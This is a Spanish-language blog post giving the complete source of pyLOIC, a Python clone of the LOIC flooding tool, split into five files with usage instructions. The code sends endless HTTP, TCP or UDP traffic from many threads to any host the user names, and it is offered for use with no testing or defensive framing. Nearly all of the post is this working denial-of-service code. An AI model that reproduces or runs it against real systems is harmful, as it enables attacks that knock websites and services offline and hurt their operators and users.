Clon de LOIC en python

Cierto anónimo sugirió hacer un clon de LOIC en python, aquí está un posible código, dividido en 5 archivos, no tiene interfaz gráfica, pero implementa el flooder de los 3 protocolos de LOIC.

Actualización: subido a github https://github.com/kenkeiras/pyLOIC

(Los argumentos son)

---

Uso: ./pyloic.py {http | tcp | udp} -h <host> [-p <puerto>] [-t <número de hilos>] [-m Message] [-k]

---

http, tcp o udp: El protocolo escogido.
-h <host>: La dirección (IP o hostname).
-p <puerto>: El puerto al que se dirigirán las conexiones (por defecto el 80).
-t <número de hilos>: Número de hilos que se ejecutan a la vez (por defecto 10).
-m Message: El mensaje que se enviará.
-k: En TCP y HTTP no espera a que el otro lado de la conexión la cierre, en UDP detiene el script si el puerto no es accesible.

El script se finaliza si se pulsa [Enter] o se produce algún otro tipo de Excepción en el hilo principal (no los flooders), como pulsar Ctrl-C.

pyloic.py: Archivo principal, lee los argumentos y llama al flooder adecuado

---

#!/usr/bin/env python
# -*- coding: utf-8 -*-


import sys, os, http_flood, tcp_flood, udp_flood
from socket import gethostbyname

argc = len(sys.argv)  # Número de agumentos

if (argc < 4): # Si no se incluyeron los argumentos necesarios
    print >>sys.stderr, "Uso:", sys.argv[0], """{http | tcp | udp} -h <host> [-p <puerto>] [-t <número de hilos>] [-m Message] [-k]
"""
    exit(1)

host = "" # Dirección "objetivo"
port = 80 # Puerto "objetivo"
flooder_list = { # Diccionario de flooders
    "http": http_flood.http_flooder, # Flooder HTTP
    "tcp": tcp_flood.tcp_flooder,    # Flooder TCP
    "udp": udp_flood.udp_flooder     # Flooder UDP
}

kill = False   # Se cerraran las conexiones premeturamente
               # O se finalizará el programa si es UDP y el
               # Puerto no es alcanzable

threadNum = 10 # Número de hilos
flooder = None # Flooder que se utilizará
message = "Blah blah blah!!!" # Mensaje enviado

# Se leen los argumentos
i = 1
while (i < argc): 
    if (sys.argv[i] in flooder_list): # Tipo de flood
        flooder = flooder_list[sys.argv[i]]

    elif (sys.argv[i] == "-h"): # Host
        try:
            host = sys.argv[i + 1]
            i += 1
        except:
            print >>sys.stderr, "Parámetros inválidos"
            exit(1)

    elif (sys.argv[i] == "-p"): # Puerto
        try:
            port = int(sys.argv[i + 1])
            if (port < 1 or port > 65535):
                raise Exception("Inválid port")
            i += 1
        except:
            print >>sys.stderr, "Parámetros inválidos"
            exit(1)
        
    elif (sys.argv[i] == "-t"): # Hilos
        try:
            threadNum = int(sys.argv[i + 1])
            if (port < 1):
                raise Exception("Inválid thread number")
            i += 1
        except:
            print >>sys.stderr, "Parámetros inválidos"
            exit(1)
        
    elif (sys.argv[i] == "-k"): # Puerto
        kill = True            

        
    elif (sys.argv[i] == "-m"): # Mensaje
        try:
            message = sys.argv[i + 1]
            i += 1
        except:
            print >>sys.stderr, "Parámetros inválidos"
            exit(1)
        
    else:
        print >>sys.stderr, "Parámetro desconocido:", sys.argv[i]
        exit(1)
        


    i += 1

# Si no se especifica el host
if (host == ""):
    print >>sys.stderr, "No se ha especificado el host"
    exit(1)

# Se resuelve el host una vez, para no hacer cuello de botella
host = gethostbyname(host)

threadArr = [] # Para evitar perder los hilos

# Se crean los hilos de flooder
for i in xrange(threadNum): 
    thread = flooder(host, port, message, kill) # Se crea un hilo de flooder
    thread.start() # Se ejecuta el hilo
                        
    threadArr.append(thread) # Y se guarda el hilo
                             #Para evitar que se pierda :)

try: # Si usan Ctrl-C levanta una excepción
    raw_input("") # Con [enter] saldrá
except: # Que hay que ignorar
    pass
os._exit(0)

---

flooder.py: La base de cada clase de flooder:

---

# -*- coding: utf-8 -*-
import threading

# Flooder básico
class flooder(threading.Thread): 
    def __init__(self, host, port, message, kill = False):
        threading.Thread.__init__(self) # Inicializa el hilo
        self.host = host   # Guarda el host ...
        self.port = port   # El puerto ...
        self.kill = kill   # Si se cerrará ... 
        self.message = message # Y el mensaje

---

udp_flood.py: El flooder de UDP, hereda el __init__ y el ser un hilo de flooder.py

---

# -*- coding: utf-8 -*-
import flooder, socket, os

# UDP Flooder
class udp_flooder(flooder.flooder):
    def run(self):
        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) # Crea un socket
        sock.connect((self.host, self.port)) # Le asigna una IP/puerto
        while (True):
            try:
                sock.send(self.message) # Envía el mensaje
            except:
                if (self.kill): # Si no pudo llegar...
                    print "Destination port unreachable"
                    os._exit(2)

---

tcp_flood.py: Flooder de TCP

---

# -*- coding: utf-8 -*-
import flooder, socket, time

#Tamaño de bloques que se leeran al esperar por el final
BUFF_LEN = 1024

# TCP Flooder
class tcp_flooder(flooder.flooder):
    def run(self):
        try:
            while (True):
                # Se crea el socket
                sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                # Se conecta al host
                sock.connect((self.host, self.port))
                # Se envía el mensaje dentro de una petición HTTP
                sock.send(self.message)

                # Si se cierra al momento...
                if (self.kill): 
                    sock.close()
                # Si espera a que el otro lado lo cierre...
                else:
                    # Espera a que cierre
                    while (True):
                        if (sock.recv(BUFF_LEN) < 1):
                            break
                    sock.close()

        except: # Si algo falla
            time.sleep(10) # Esperar 10s y volver a la carga

---

Y http_flood.py: Flooder de HTTP

---

# -*- coding: utf-8 -*-
import flooder, socket, time
from urllib import urlencode

#Tamaño de bloques que se leeran al esperar por el final
BUFF_LEN = 1024

# HTTP Flooder
class http_flooder(flooder.flooder):
    def run(self):
        # Prepara el mensaje para que no se salga del HTTP
        message = urlencode({self.message:""})[: -1] 
        try:
            while (True):
                # Se crea el socket
                sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                # Se conecta al host
                sock.connect((self.host, self.port))
                # Se envía el mensaje dentro de una petición HTTP
                sock.send("GET /" + message +" HTTP/1.1\r\n\r\n")

                # Si se cierra al momento...
                if (self.kill): 
                    sock.close()
                # Si espera a que el otro lado lo cierre...
                else:
                    # Espera a que cierre
                    while (True):
                        if (sock.recv(BUFF_LEN) < 1):
                            break
                    sock.close()

        except: # Si algo falla
            time.sleep(10) # Esperar 10s y volver a la carga

---

Eso es todo, un clon de LOIC en casi 200 líneas (199 =P )